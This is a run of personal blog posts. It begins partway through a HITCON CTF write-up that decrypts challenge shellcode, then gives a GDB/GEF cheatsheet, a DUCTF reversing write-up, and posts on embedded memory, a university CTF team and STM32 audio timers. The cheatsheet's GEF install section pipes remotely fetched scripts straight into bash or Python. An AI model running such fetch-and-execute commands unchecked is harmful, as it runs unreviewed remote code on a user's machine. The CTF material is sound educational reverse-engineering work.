  ee:   53                      push   rbx
  ef:   5f                      pop    rdi
  f0:   54                      push   rsp
  f1:   5e                      pop    rsi
  f2:   6a 08                   push   0x8
  f4:   5a                      pop    rdx
  f5:   6a 01                   push   0x1
  f7:   58                      pop    rax
  f8:   0f 05                   syscall
  fa:   55                      push   rbp
  fb:   5c                      pop    rsp
  fc:   41 ff e7                jmp    r15

_(collapse)

It turns out r12 and r13 are just the first 4 bytes of /bin/sh and /etc/passwd, which is respectively \x7fELF and root. These correspond to 0x464c457f and 0x746f6f72 in little endian. And r14 is just 0x31f3831f, computed with a bit of arithmetic. Armed with these 3 values, we can now reverse the encryption.

def ror(x, n):
    left = x >> n
    right = (x & (0xFFFFFFFF >> (32 - n))) << (32 - n)
    return right | left

def neg(x):
    assert x >= 0
    return int(''.join('01'[c == '0'] for c in f'{x:032b}'), 2)

r12 = 0x464c457f
r13 = 0x746f6f72
r14 = 0x31f3831f

def shelldec(b):
    """Reverse shellcode encryption (decryption)."""
    assert b >= 0
    return ((ror(neg(b ^ r14), 32 - 0xb) ^ r13) - r12) % 2**32

byteorder = 'little'

# `encrypted` words obtained from 160010 to 16004f.
encrypted = [0x526851a7, 0x31ff2785, 0xc7d28788, 0x523f23d3, 0xaf1f1055, 0x5c94f027, 0x797a3fcd, 0xe7f02f9f, 0x3c86f045, 0x6deab0f9, 0x91f74290, 0x7c9a3aed, 0xdc846b01, 0x743c86c, 0xdff7085c, 0xa4aee3eb,]
decrypted = [shelldec(u) for u in encrypted]

Tying it All Together

All that's left is to tie the three parts together.

bs = b''.join(u.to_bytes(4, byteorder) for u in decrypted)

for i in range(256):
    bs = apply_rmp(bs)
    bs = apply_rperm(bs)

print(bs.decode())

Debugging Our Mess

Some small tips on debugging.

Sometimes the solution is simple and straightforward. But occasionally, we make programming mistakes or misunderstand the problem. Debugging code can be painful.

Prove inverse function holds. Sounds mathy, but the basic principle is to check if our reversed output equals our input. In math terms: f(g(x)) = g(f(x)) = x, where g is the inverse of f. If it's not equal, clearly we messed up somewhere.
- This is useful for the second part (mapping), because our domain is small, just 0 - 255.
- For example, with shellcode encryption, we can do a forward pass, to make sure we're getting the same data.
```
def shellenc(a):
    """Forward shell encryption."""
    assert a >= 0
    u32 = lambda x: x & 0xFFFFFFFF 
    return neg(ror(u32(a + r12) ^ r13, 0xb)) ^ r14

assert encrypted == [shellenc(v) for v in decrypted]
```
  Python
Use asserts. Great for intermediate checks.
Verify assumptions with dynamic analysis. For example, I had falsely assumed in the shellcode that r12 == 0, since seemed to be pushed by the assembly. But as we found out, r12 == L"FLE\x7f". However, be wary of the observer effect, where the program changes behaviour when observed. I haven't seen this much in CTFs, but it's certain to be out there...

Final Remarks

It's easy to miss things out. I know I did. Lots of hair was lost until I realised I left out the shellcode. I also tried to search the shellcode on ExploitDB, but no luck, because it was hand-spun.

But overall, a sweet challenge. And one that left me with nice rave music to power me through Saturday.

Solve Script

Flag

hitcon{<https://soundcloud.com/monstercat/noisestorm-crab-rave>}

(I don't know what this music was. It was my first time listening to it. And it's epic! So thank you, wxrdnx, for introducing this nice rave and meme.)

Footnotes

A better specifier would be x/64bd. This displays 64 decimal bytes, and is more convenient to parse in Python. But I chose x/16wx since I didn't know better at the time and caused myself extra pain. 🥲 ↩︎

GDB/GEF Cheatsheet

2023-09-11T00:00:00Z

This is a curated collection of GDB/GEF commands which I find incredibly useful for dynamic analysis and reverse engineering. These are mainly personal notes and may be incomplete, but suggestions are welcome! If there's a useful GDB/GEF command you use that's not on this list, do leave a comment or let me know so that I can add it. :)

The Basics

Hjaelp!

# Describes how to use a command.
help
help [command]
help info
help breakpoint

Execution

Run Program with Loaded File

gdb <filename>

Load Files

file <filename>

Running

start    # Starts program and breaks at beginning.
run      # Runs program normally.
continue # Continue program where you left off.
kill     # Kill process.
quit     # Leave GDB.

Shell Commands

shell <cmd>
shell echo Hi
!<cmd>

Interrupting

We want to inspect a program in the guts. But how do we stop it where we want?

^C during program execution. (Also throws a SIGINT.)
Use start instead of run. Breaks after starting the program.
Use breakpoints (break on address).
Use watchpoints (break on data).

Step Debugging

Once we've stopped, what do we do? How do we navigate instructions and functions effectively?

Step debugging is one of the core features of GDB, and an invaluable tool for all programmers. Modern IDEs have step debugging functionality built-in to operate seamlessly with code. But in GDB, you can operate it with the familiar touch of your keyboard!

# Step Debugging
## Step (into).
step
s
## Step over.
next
n
## Step (into) one instruction exactly.
stepi
si
## Step over one instruction.
nexti
ni
## Step out. Execute until (selected) stack frame returns (past end of function).
finish
fin

Disassembly

Useful for verifying addresses and assembly, even if you use a decompiler.

View instructions at a function or address.

disas <address/function>
disas <start addr>,<end addr>
disas <start addr>,+<offset>

disas main

Enable Intel-flavoured ASM syntax.

set disassembly-flavor intel

View data as instructions.

x/[n]i <addr>
x/20i 0x5555555dddd0

Registers

View Registers

Show individual registers.

print [expression]

print $rax
p $rax

# Expressions are evaluated.
p $rbx+$rcx*4

Show all registers.

info registers
info r
registers # (GEF)
reg       # (GEF)

Modify Registers

set $eax = 0xdeadbeef

Watch Registers

See Watchpoints.

Memory

Memory is a core component of binaries. Many hidden secrets lurk inside the shadows of memory.

View Memory

x/[n][sz][fmt] <addr>

# n: Number of data to print.
# sz: b(byte), h(halfword), w(word), g(giant, 8 bytes)
# fmt: Format to print data.
# - o(octal), x(hex), d(decimal), u(unsigned decimal),
# - z(hex, zero padded on the left)
# - t(binary), f(float), c(char), s(string)
# - a(address), i(instruction),

# 20 words.
x/20wx 0x7fffffffd000

# 20 bytes.
x/20bx 0x7fffffffd000

# View as string.
x/s 0x7fffffffd000

Modify Memory

set {c-type}<address> = <value>

# For self-compiled sources.
set var i = 10
set {int}0x83040 = 4

You can also modify memory at a pointer location by casting to an appropriate type and dereferencing.

## C++
set *{uint32_t*}0x7fffffffd000 = 0xdeadbeef
## Rust
set *(0x7fffffffd000 as *const u32) = 0xdeadbeef

Search Memory

find <start>, <end>, <data...>
find <start>, +<length>, <data...>

# Find string (including null byte).
find 0x7fffffffd000, 0x7ffffffff000, "Hello world!"

# Find string (excluding null byte).
find 0x7fffffffd000, 0x7ffffffff000, 'H','e','l','l','o'

More options.

find [/sn] ...
# s: b(byte), h(halfword), w(word), g(giant, 8 bytes)
# n: max number of finds

Combine with Memory Mapping to determine available regions.

Watch Memory

See Watchpoints.

View Memory Segments

Useful to determine which areas are readable/writeable/executable.

Requires program to be running beforehand.

info proc mappings
vmmap # (GEF)

Stack

View Stack

# View 100 words (hex) at $rsp.
x/100wx $rsp

Heap

GEF only.

heap

# View all chunks.
heap chunks

# View specific chunks.
heap chunk <addr>

# View state of bins (freed chunks).
heap bins

Breakpoints

Breaks when address reaches an instruction.

break *<address>
break <line-number | label> # For self-compiled programs.
break <stuff...> if <expression>

# Address.
break *0x401234
b *0x401234

# Offset from function.
break *main+200

# Line number and expression.
break main.c:6 if i == 5

Further Reading:

SO: GDB – Break if variable equal value

Breakpoint Control

Sometimes we only want to enable or disable certain breakpoints. These commands come handy then. They also apply to watchpoints.

Get Breakpoint Info

info breakpoints
info b

Control Breakpoints

# Enable/disable all breakpoints.
enable
disable

# Enable/disable specific breakpoints.
enable <breakpoint-id>
disable <breakpoint-id>

# Remove breakpoints.
delete <breakpoint-id>

Skip n Breakpoints

continue <ignore-count>

# Skip 32 breaks.
continue 32

Hit Breakpoint Once

# Enable the breakpoint once.
# The breakpoint will be disabled after first hit.
enable once <breakpoint-id>

Watchpoints

Breaks when data changes. More specifically, whenever the value of an expression changes, a break occurs.

This includes:

when an address is written to. (watch, awatch)
when an address is read from. (rwatch, awatch)
when an expression evaluates to a given value. (watch)

watch <expression>

# Break on write.
watch *0x7fffffffd000

# Break on condition.
## Register
watch $rax == 0xdeadbeef
## Memory
### C/C++
watch *{uint32_t*}0x7fffffffd000 == 0xdeadbeef
### Rust
watch *(0x7fffffffd000 as *const u32) == 0xdeadbeef

Watchpoints can be enabled/disabled/deleted like breakpoints, but you can also list them separately.

# Displays table of watchpoints.
info watchpoint
info wat

If hardware watchpoints are supported, then you can also use read watchpoints and access watchpoints.

# Check if hardware watchpoints are supported.
show can-use-hw-watchpoints

# Read watchpoints: break on read.
rwatch *0x7fffffffd000

# Access watchpoints: break on read or write.
awatch *0x7fffffffd000

Further Reading:

GDB: Setting Watchpoints

GDB Script

GDB commands can be placed in files and run in the following ways:

~/.gdbinit and ./.gdbinit are executed automatically on GDB startup.

On the command line, with -x/--command:

gdb --batch --command=test.gdb --args ./test.exe 5

Using the source command in GDB:
```
source myscript.gdb
```
GDB

Further Reading:

Miscellaneous

Install GEF

# via the install script
## using curl
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

## using wget
bash -c "$(wget https://gef.blah.cat/sh -O -)"

# or manually
wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit

# or alternatively from inside gdb directly
gdb -q
(gdb) pi import urllib.request as u, tempfile as t; g=t.NamedTemporaryFile(suffix='-gef.py'); open(g.name, 'wb+').write(u.urlopen('https://tinyurl.com/gef-main').read()); gdb.execute('source %s' % g.name)

Further Reading:

GitHub: GEF

`pwnlib.gdb.attach`

This allows you to programmatically interact with the binary with an initial GDB script or send I/O with Python. This uses the Python pwn module — a versatile exploit development package — which you can install with pip install pwntools.

from pwn import *

bash = process('bash')

# Attach the debugger and run GDB commands.
gdb.attach(bash, '''
set follow-fork-mode child
break execve
continue
''')

# Interact with the process.
bash.sendline(b"echo Hello World")

Further Reading:

To unlock the full potential of the GDB API, check out:

pwntools - Working with GDB

Input Non-Printable Characters

Sometimes you may want to manually fuzz or construct complex attack payloads. There are multiple ways to do so.

I don't recommend using Python 3 to generate strings on-the-fly, as its string/byte-string mechanics are unintuitive. Prefer perl or echo instead.

For example: python -c 'print("\xc0")' prints \xc3\x80 (À) instead of \xc0. Why? Because the Python string "\xc0" is interpreted as U+00C0, which is \xc3\x80 in UTF-8. In other words, characters are interpreted as Unicode codepoints instead of bytes.

assert '\xc0'.encode() == b'\xc3\x80'

Printing bytes in Python is difficult to do concisely.

Directly from GDB: With run

# Runs with 'AAAA\x01\x02\x01\x02' as stdin.
r <<<$(perl -e 'print "A"x4 . "\x01\x02"x2;')

This uses a Bash here-string to feed goodies into input. Not supported on all machines.

Directly from GDB: With Temporary File

Slightly more convoluted than the previous method, but is more portable.

# Prints 'AAAA\x01\x02\x01\x02' to a temporary file.
shell perl -e 'print "A"x4 . "\x01\x02"x2;' >/tmp/input

# Run the program, use the file as stdin.
r </tmp/input

Reset GDB Arguments

set args

This empties args. You can also use this command to set arbitrary arguments. The full command is:

set args [arguments...]

With pwnlib.gdb.attach

bash.sendline(b"echo '\x01\x02\x03\x04'")

Enable ASLR

ASLR is a common mechanism to randomise stack, heap, and library offsets.

ASLR is disabled by default in GDB. To re-enable:

set disable-randomization off

Useful for pwn challenges.

PIE Breakpoints

GEF only.

PIE are binaries where segments (.data, .text) are loaded at random offsets. In GDB, it seems to always be set to offset 0x555…554000.

Not all binaries have PIE enabled. Use checksec to verify.

Use the pie commands (help pie). Pie breakpoints are separate from regular breakpoints.

pie b <addr>    # PIE breakpoint at offset <addr> in code.
pie run         # Run with pie breakpoints enabled.

GEF Context

GEF only.

Summary of registers, stack, trace, code, all in one contained view.

context
ctx

Sometimes you want to step-debug without GEF's massive spew of text covering the screen.

Disable Context

gef config context.enable 0

Enable Context

gef config context.enable 1

DUCTF 2023 – Wrong Signal

2023-09-04T00:00:00Z

Description

Medium. 27/1424 solves.

I am getting all the wrong signals from this binary.

Author: hashkitten

Writeup

Analysis

On decompilation, the binary appears to be an innocent program which adds and subtracts numbers. The code itself is relatively simple.

// Set the SIGSEGV handler.
memset(&sigsegv_sigaction,0,0x98);
sigsegv_sigaction.__sigaction_handler.sa_handler = oops;
sigsegv_sigaction.sa_flags = 4;
sigaction(11,&sigsegv_sigaction,NULL);

// Read input.
puts("Enter the password:");
read(0,buffer,0x10);

// Check input for correctness.
local_c0 = &DAT_13386000;
for (i = 0; i < 0x40; i += 1) {
	j = i;
	if (i < 0) {
		j = i + 3;
	}
	switch((int)(char)(buffer[j >> 2] ^ mangle_buf[j >> 2]) >>
		   (((char)i - ((byte)j & 0xfc)) * 2 & 0x1f) & 3) {
	case 0:
		local_c0 = local_c0 + -0x15000;
		break;
	case 1:
		local_c0 = local_c0 + -0x1000;
		break;
	case 2:
		local_c0 = local_c0 + 0x1000;
		break;
	case 3:
		local_c0 = local_c0 + 0x15000;
	}
}

if (local_c0 == &DAT_13398000) {
	puts("Well done! Wrap that in DUCTF{}.");
}
else {
	oops(0);
}

Observations:

A sigaction handler takes care of any SIGSEGV faults, outputs Wrong! and exits. SIGSEGVs occur when there are invalid memory accesses (e.g. reads, writes).
The for-loop iterates through crumbs (2-bit groups¹), xors it with static data (mangle_buf), and modifies local_c0 depending on the value of each crumb. Yeah, that eyesore in the switch condition computes the current crumb.
Since 16-bytes are read, this means there are 64 crumbs, therefore 64 operations.
Our goal is to modify local_c0 so that it goes from 0x13386000 to 0x13398000—a difference of 0x12000.

The last point is interesting, since there's no way we can get a unique solution. There are multiple ways to reach an offset of 0x12000.

For example, if our crumbs are 3, 1, 1, 1, then we've already arrived at our target address, right? Then we can just fill the rest with 2s and 1s to do nothing to local_c0, right? Right?

wRoNg! Ay c-rumba.

Using a Z3 script spun by reversing the program, we can output some test payloads. Now obviously this isn't the flag, but I'm interested in testing out some cases. Using I as the first letter, we trigger case 3 (+0x15000) as our first operation.² Turns out we can't do that as our first move, because it catapults us into oops().

^{We have the best flag. Because of oops().}

If instead our first case was 2, the program continues, and we're not thrown straight into ~~jail~~ oops(). So there must be something we're missing.

Where are the segfaults coming from?

While all the above observations are fine and dandy, the decompilation leaves out something crucial. Isn't it weird how local_c0 seems to be working with addresses and jumping around without actually doing anything? Turns out, there's a sneaky little dereference after the switch-case, at 0x401305.

; 0x4012fe. Load `local_c0` from stack to RAX.
MOV        RAX,qword ptr [RBP + local_c0]

; 0x401305. Dereference `RAX` to `AL`.
MOV        AL,byte ptr [RAX]=>DAT_13386000

Don't underestimate these few lines. Even though the dereferenced value is unused, a read is performed nonetheless!

So why are some reads causing segfaults? To answer this, we can use the vmmap command that comes with GDB GEF. This shows various segments of a binary, their address ranges, and whether they're readable/writable.³

Yikes! That's a lot of segments. Notice how some of them disallow all permissions? Our pointer was trying to read those regions. All that's left is to filter out the regions in our code.

Concluding Remarks

Peeking at the official solve script... it turns out the challenge was a... maze?!? Wut? Didn't expect that. But overall it was a fun little challenge with some nice surprises, and a good reminder to not overlook (or completely ignore) the small details such as that hidden byte read.

Solve Script

I didn't do a step-by-step walkthrough of my solve script this time, but I've littered it with comments, so hopefully it's understandable—even for those new to the Z3 library.

Flag

DUCTF{hElCYi8OxUF7PAA5}

Footnotes

And for the nerds: 4-bits is a nybble/nibble. ↩︎
Verifiable through GDB, with b *main+245 and p $rax. ↩︎
There are other similar tools, but I'm accustomed to GEF's vmmap. ↩︎

Why Dynamic Memory Allocation Bad (for Embedded)

2023-06-24T00:00:00Z

^{Getting better hardware is not always the solution. Sometimes; but not always. Don't be clueless.}

I keep explaining why dynamically allocating on embedded systems is a disagreeable idea, so thought I’d throw it on a post. This is a confusing topic for many junior developers who were taught to use new and delete in early C++ courses. In desktop/web application programming, dynamic allocation is everywhere.¹ Not so in embedded.

To clarify, dynamic memory allocation (in embedded) isn't always bad, just as goto isn't always bad. Both dynamic allocation and goto have appropriate uses, but are often misused. As engineers, it's our duty to understand which situations call for these features and to make sound choices.

^{Clueless software engineers thinking "the more advanced the concept, the better". Don't be clueless.}

Not only is allocation an issue. Virtual classes, exceptions, runtime type information (RTTI)—these are all no-nos for some embedded companies. They're all avoided for the same reasons: performance degradation and code bloat. In essence, not enough time and not enough space. With dynamic memory, there's another reason.

So why is dynamic memory bad?

Because of Memory Fragmentation. This occurs when we keep allocating and deallocating memory in various sizes. This may lead to wasted memory, leading to slower allocations (due to the need to reallocate and compact memory) or our worst nightmare: an out-of-memory exception. 🤯

^{Memory becomes fragmented after multiple allocs and deallocs, leading to wasted memory space. (source)}

Since embedded systems tend to require sustained uptime, constantly using dynamic memory may lead to highly fragmented memory.

This is a serious issue. Persistence, backup, and resets should be considered when developing embedded applications, but buggy resets—say, due to OOM crashes—should be avoided. Maybe not an issue if you're working with missiles though.

What alternatives are there?

In C, dynamic allocation is largely optional; you, the programmer, have more control over memory usage.²

In C++, it's more of a hassle. Dynamic memory allocation is core to many standard library containers: strings, vectors, maps. The Arduino String also uses dynamic memory. No doubt, these libraries are immensely useful for organising and manipulating data, but they come with dynamic allocation.³

The alternative is to use static allocation. Instead of allowing containers to grow unbounded, we limit their size with a maximum bound. Sometimes, it's as simple as changing array declarations.

// --- Dynamic ---

size_t size = 10;
int* array1 = new int[size];
// `size` is dynamic. e.g. can change with input.
// Note that we can also resize the array and reassign the pointer.

// Use the array...
for (int i = 0; i < size; i++)
    array1[i] = i;

delete[] array1;


// --- Static ---

// Define a maximum capacity...
#define MAX_SIZE 100                // ...with a macro,
// constexpr size_t MAX_SIZE = 100; // ...or use C++'s type-safe constexpr.

int array2[MAX_SIZE];

// Use the array... (be careful to use `size` instead of `MAX_SIZE`).
for (int i = 0; i < size; i++)
    array2[i] = i;

With complex data structures, more work is needed to eliminate dynamic allocation. This is what ETL containers achieve, as opposed to STL containers.

The ETL (Embedded Template Library) is an alternative to the C++ standard library, and contains many standard features plus libraries useful for embedded systems programming (e.g. circular buffers).

Here's a quick preview with vectors:

// STL
// Allocate a dynamic vector (on the heap). Capacity grows on-demand.
std::vector<int> vec1 = {1,2,3};

// ETL
// Allocate a static vector (on the stack) with fixed capacity.
etl::vector<int, 10> vec2 = {1,2,3};

One benefit of static allocation is speed. With dynamic, allocators need to figure out size constraints and reallocate. If the allocator is good, it may perform better by using smart strategies (e.g. reusing a previously freed bin); but this still introduces overhead. With static, memory is either pre-allocated (in the case of global variables) or quickly allocated with a single instruction (subtracting the stack pointer).⁴ Hence, better performance at the expense of flexibility.

What about polymorphism? Like dynamic memory allocation, dynamic polymorphism also introduces performance overhead via additional indirection (dynamic dispatch, vtable lookup).

The good news is: static polymorphism exists! In C++, we can achieve this via CRTP; but we lose the ability to declare polymorphic containers, such asvector<Animal*>, vector<Shape*>. We could also use sum types (e.g. std::variant); but this would increase memory footprint. Sometimes virtual classes are a necessary ~~evil~~ abstraction.

Thus, it’s crucial to consider the design requirements of the software being developed. How long do the strings need to be? Can they be limited by a maximum length? How many items will our vector hold at most? Is it more maintainable to use virtual classes here?⁵

Is dynamic memory always bad?

Dynamic memory isn't bad in all cases, if used properly. Some appropriate situations:

You only allocate during init. For example, we allocate memory based on a setting from an SSD card.
It's difficult to decide on a maximum bound at compile time. It's easy to cap small strings at 32, 64, or 256 chars. But what about HTTP requests? JSON payloads? These vary a lot between applications, so libraries typically default to dynamic allocation.

There are various ways to implement dynamic memory allocation. The "best" method depends on your specific scenario. Memory pools are one implementation admired for their simplicity and lightweight nature. FreeRTOS documents other heap implementations which aim to be thread-safe. Heap 4 is of particular interest, as it mitigates fragmentation.

Summary

In a recent discussion between Uncle Bob and Casey Muratori on clean code and performance, Bob summarises:

Switch statements have their place. Dynamic polymorphism has its place. Dynamic things are more flexible than static things, so when you want that flexibility, and you can afford it, go dynamic. If you can't afford it, stay static.

^{(source; emphasis added)}

This applies to embedded system memory as well. It’s difficult to afford dynamic things with few resources. With more powerful MCUs, it’s easier to justify dynamic things, be it heap, polymorphism, and whatnot. In the end, we should take into account the available resources, design requirements, and use cases. Let me summarise again.

If you need flexibility and can afford it, use dynamic memory. If you can’t afford it (as is often the case), use static.⁶

Footnotes

Even if you don’t use it directly, it’s still there. Most garbage-collected languages (think Java, JS, Python) will allocate primitives on the stack, and all other objects on a heap. ↩︎
Also, the C standard library rarely depends on dynamic allocation; except maybe for file IO. ↩︎
Sure, std containers allow custom allocators, and that can be a topic for an entire series of posts... but it also means additional indirection, whether at compile-time or runtime. ↩︎
And if your function uses multiple statically-allocated variables, the allocation will be combined into one giant stack subtraction. You can thank your compiler for this. ↩︎
What's the right balance of maintainability? Is it worth sacrificing maintainability for performance? ↩︎
The distinction between want and need is small, but IMO important when programming for embedded systems. Sometimes, we may want to use the heap, but it's not needed. Very rarely, we may need the flexibility of the heap since the benefits outweigh the costs. ↩︎

The HKUST Firebird CTF Team

2023-05-29T00:00:00Z

As an avid programmer with a passion for technology and programming, I was always intrigued by the world of cybersecurity. In my last two years of university, I was thrilled to explore this field further by joining the HKUST Firebird CTF Team. As someone with a programming background but no cybersecurity knowledge (besides rudimentary SQL injection), I was excited to develop my skills in this field.

Note that my experiences don’t speak for everyone and may not reflect the current situation of the team. With that said, let me introduce the process a bit more. The training is structured as three stages/courses, each taking place over a semester.

Torchic, the Hatchling

The first stage (COMP2633) takes place during the Fall term. The Firebird team would host a beginner-friendly CTF platform for us to explore the basics. This platform is open to any UST student, even students not registered in COMP2633.

Each week, senior Firebird members mentor us on various categories of CTF, including binary pwn, reverse engineering, web attacks, cryptography, and forensics. In the first couple weeks, Python and Linux basics are taught, so the training assumes no prior knowledge of cybersecurity/scripting. Regardless, I found my C++, Python, and computer organisation experience helpful to better absorb concepts.

Two topics are presented each week, and include in-class exercises and homework to reinforce concepts learned. These challenges are similar to CTF challenges, which require us to find a flag. For example, we may need to use a software to reverse-engineer a binary or exploit a web vulnerability. The homework is usually more challenging than the exercises and require more time and effort.

Some challenges are easier to solve. But don't be fooled! There's more where they came from!

We participated in two (plus one extra) CTF competitions this term. In November, we participated in the HKCERT CTF competition, a regional event where secondary and tertiary schools from all over HK (and invited teams outside) compete to hunt for flags.

In December, some of us were selected to participate in the PwC Hackaday CTF. The format for this CTF was different, where points can be spent to buy hints. Aside from the format, the vibe was much more exhilarating too, as we get to compete in person. (The other events were held online, so they were relatively lacklustre.)

Finally, in January, we participated in an internal Firebird CTF held to assess our capabilities and select candidates to proceed to the next stage of training. These challenges were designed by Firebird seniors.

These competitions allowed us to apply our newfound skills in a competitive setting, learn from mistakes, and exchange ideas afterwards through a tradition of write-ups.

Combusken, the Fledgling

The second stage (COMP3633) takes place during the Spring term. Again, training is structured as a course, with weekly sessions and grading. There are two notable activities in this stage: 1) presentations on a CTF topic of our choice, 2) more CTFs!

The presentations allowed us specialise in a topic and learn from each other. Topics we covered range from advanced pwn techniques (e.g. heap-based attacks) to advanced cryptographic techniques (e.g. lattice-based attacks). This was a great opportunity to practice delivering a presentation, as it prepared us for the next stage (where we would be involved in a lot of presentations).

Since I was interested in reverse engineering, I presented on advanced angr features and tricks. Angr is a popular Python symbolic execution library, which is useful for reverse engineering, especially in CTF challenges.

Another key activity is the participation in more CTFs. We participated in four CTFs hosted worldwide, such as AngstromCTF, zer0ptsCTF, and TAMUCTF. In most of these CTFs, we would participate in one big team (14-16 of us together). In one CTF, we achieved 4th place—perhaps due to our superior manpower—but it was a nice feeling nonetheless. Through these competitions, we gained exposure to a wider range of challenges and take away valuable learnings for future training.

Blaziken, the Firebird

In the third and final stage of Firebird's CTF training, we evolve into senior students, teaching new joiners and designing challenges for exercises, homework, and the internal CTF.

In this part of training, we learn through teaching and mentoring. Teaching not only provides us an opportunity to share our knowledge and experience, but also the opportunity to give back to the community, to reinforce our understanding of the material, and to develop soft skills.

I focused on teaching reverse engineering topics, which largely consists of disassembly, decompilation, and symbolic execution—three 2-hour presentations in total.¹ I had loads of fun designing challenges (especially for the internal CTF), helping out on Discord, and rick-rolling oblivious trainees.

Conclusion

Overall, the HKUST Firebird CTF team is a great opportunity for students to gain hands-on experience in cybersecurity and to develop their skills and knowledge in the field. The program is structured in a way that provides a strong foundation for beginners and allows for the growth and development of more advanced students.

Through this experience, I gained practical skills and knowledge in cybersecurity. The challenges encountered and time spent designing/executing attacks strongly shaped my understanding and interest for cybersecurity. Aside from technical skills, the latter stages were also great opportunities to improve my presentation and organisation skills. All in all, this extracurricular raised my awareness on the importance of security and of having a moral/ethical mindset, and bolstered my ability to speak.

If you're interested in cybersecurity and looking for a way to gain hands-on experience, the HKUST Firebird CTF team is definitely worth considering.

I encourage those interested in cybersecurity to challenge themselves by trying out online CTFs² and, if you’re a UST student, take the opportunity to train with Firebird.

Footnotes

Why do I like reverse engineering? Analysing assembly can be pretty fun, and it’s also crucial when analysing performance of software systems. This is especially important in low-level environments such as embedded devices, or in general for benchmarking. Finding out how things work under the hood is one way to learn. ↩︎
There are various platforms available online (for free!). Some are HackTheBox, TryHackMe, and VulnHub. ↩︎

Digital Audio Synthesis for Dummies: Part 3

2023-05-24T00:00:00Z

Slap a timer, DMA, and DAC together, and BAM—non-blocking audio output!
— TrebledJ, 2022

Ah… embedded systems—the intersection of robust hardware and versatile software.

This is the third (and culminating) post in a series on digital audio synthesis; but the first (and only?) post touching embedded hardware. In the first post, we introduced basic concepts on audio processing. In the second post, we dived into audio synthesis and generation. In this post, we’ll discover how to effectively implement an audio synthesiser and player on an embedded device by marrying hardware (timers, DACs, DMA) and software (double buffering plus other optimisations).¹

To understand these concepts even better, we’ll look at examples on an STM32. These examples are inspired from a MIDI keyboard project I previously worked on. I'll be using an STM32F405RGT board in the examples. If you plan to follow along with your own board, make sure it's capable of timer-triggered DMA and DAC. An oscilloscope would also be handy for checking DAC output.

This post is much longer than I expected. My suggested approach of reading is to first gain a high-level understanding (possibly skipping the nitty gritty examples), then dig into the examples for details.

Timers ⏰

It turns out kitchens and embedded systems aren’t that different after all! Both perform input and output, and both have timers! Who knew?

Tick Tock

Timers in embedded systems are similar to those in the kitchen: they tick for a period of time and signal an event when finished. However, embedded timers are much fancier than kitchen timers, making them immensely useful in various applications. They can trigger repeatedly (via auto-reload), count up/down, and be used to generate rectangular (PWM) waves.

^{Timers have various applications, such as to count signals. (Source: EmbeddedTutor²)}

So what makes timers tick?

The MCU clock!

The MCU clock is the backbone of a controller. It controls the processing speed and pretty much everything!—timers, ADC, DAC, communication protocols, and whatnot. The signal itself is generated by an oscillator, typically a Quartz crystal oscillator which is capable of generating high, stable, self-sustaining frequencies.

The clock runs at a fixed frequency (168MHz on our board). By dividing against it, we can achieve lower frequencies.

^{By using different prescalers, we can scale down the frequency according to our needs. (Source: EmbeddedTutor²)}

The following diagram illustrates how the clock signal is divided on an STM. There are two divisors: the prescaler and auto-reload (aka counter period).

^{How a timer frequency is derived from the clock signal. (Diagram adapted from uPesy.³)}

Here, the clock signal is first divided by a prescaler of 2, then further "divided" by an auto-reload of 6. On every overflow (arrow shooting up), the timer triggers an interrupt. In this case, the timer runs at $\frac{1}{12}$ the speed of the clock.

These interrupts can trigger functionality such as DMA transfers (explored later) and ADC conversions.⁴ Heck, they can even be used to trigger other timers!

Further Reading:

How do microcontroller timers work?
Getting Started with STM32: Timers and Timer Interrupts
- There are more prescalers behind the scenes! (APB2)

Example: Initialising the Timer

Suppose we want to send a stream of audio output. We can use a timer with a frequency set to our desired sample rate.

We can derive the prescaler (PSC) and auto-reload (ARR) by finding integer factors that satisfy the following relationship.

$$ \text{freq}_\text{timer} = \frac{\text{freq}_\text{clock}}{(\text{PSC} + 1) \times (\text{ARR} + 1)} $$

where $\text{freq}_\text{timer}$ is the timer frequency (or specifically in our case, the sample rate), $\text{freq}_\text{clock}$ is the clock frequency.

On our STM32F405, we configured $\text{freq}_\text{clock}$ to the maximum possible speed: 168MHz. If we’re aiming for an output sample rate of 42,000Hz, we’d need to divide our clock signal by 4,000, so that we correctly get $\frac{168,000,000}{4,000} = 42,\!000$. For now, we’ll choose register values of PSC = 0 and ARR = 3999.

Why do we add $+1$ to the PSC and ARR in the relationship above?

On the STM32F4, PSC and ARR are 16-bit registers, meaning they range from 0 to 65,535.⁵ To save space and enhance program correctness, we assign meaningful behaviour to the value 0.

So in this page, when we say PSC = 0, we actually mean a prescaler divisor of 1.

Why 0 and 3999 specifically?

Other pairs of PSC and ARR can also work. We can choose any PSC and ARR which get us to our desired timer frequency. Play around and try different pairs of PSC and ARR!

Exercises for the reader:

What is the difference between different pairs, such as PSC = 0, ARR = 3999 vs. PSC = 1, ARR = 1999? (Hint: counter.)
Is there a PSC/ARR pair that is "better"?⁶

We can use STM32 CubeMX to initialise timer parameters. CubeMX allows us to generate code from these options, handling the conundrum of modifying the appropriate registers.

^{In CubeMX, we first select a timer on the left. We then enable a channel (here Channel 4) to generate PWM.⁷ We also set the prescaler and auto-reload so that our timer frequency is 42,000Hz.}

^{Some other settings in CubeMX to check.}

Remember to generate code once done.⁹ CubeMX should generate the following code in main.c:

static void MX_TIM8_Init(void)
{
    // --snip-- Initialise structs. --snip--

    htim8.Instance               = TIM8;
    htim8.Init.Prescaler         = 0;
    htim8.Init.CounterMode       = TIM_COUNTERMODE_UP;
    htim8.Init.Period            = 4000 - 1;
    htim8.Init.ClockDivision     = TIM_CLOCKDIVISION_DIV1;
    htim8.Init.RepetitionCounter = 0;
    htim8.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_DISABLE;
    if (HAL_TIM_Base_Init(&htim8) != HAL_OK) {
        Error_Handler();
    }
    
    // --snip-- Initialise the clock source. --snip--
    
    if (HAL_TIM_PWM_Init(&htim8) != HAL_OK) {
        Error_Handler();
    }
    
    // --snip-- Initialise other things. --snip--
    
    HAL_TIM_MspPostInit(&htim8);
}

After initialisation, it's possible to change the timer frequency by setting the prescaler and auto-reload registers like so:

TIM8->PSC = 0;    // Prescaler: 1
TIM8->ARR = 3999; // Auto-Reload: 4000

This is useful for applications where the frequency is dynamic (e.g. playing music with a piezoelectric buzzer), but it's also useful when we're too lazy to modify the .ioc file.

Example: Playing with Timers

STM’s HAL library provides ready-made functions to interface with hardware.

HAL_TIM_Base_Start(&htim8); // Start the timer.
HAL_TIM_Base_Stop(&htim8);  // Stop the timer.

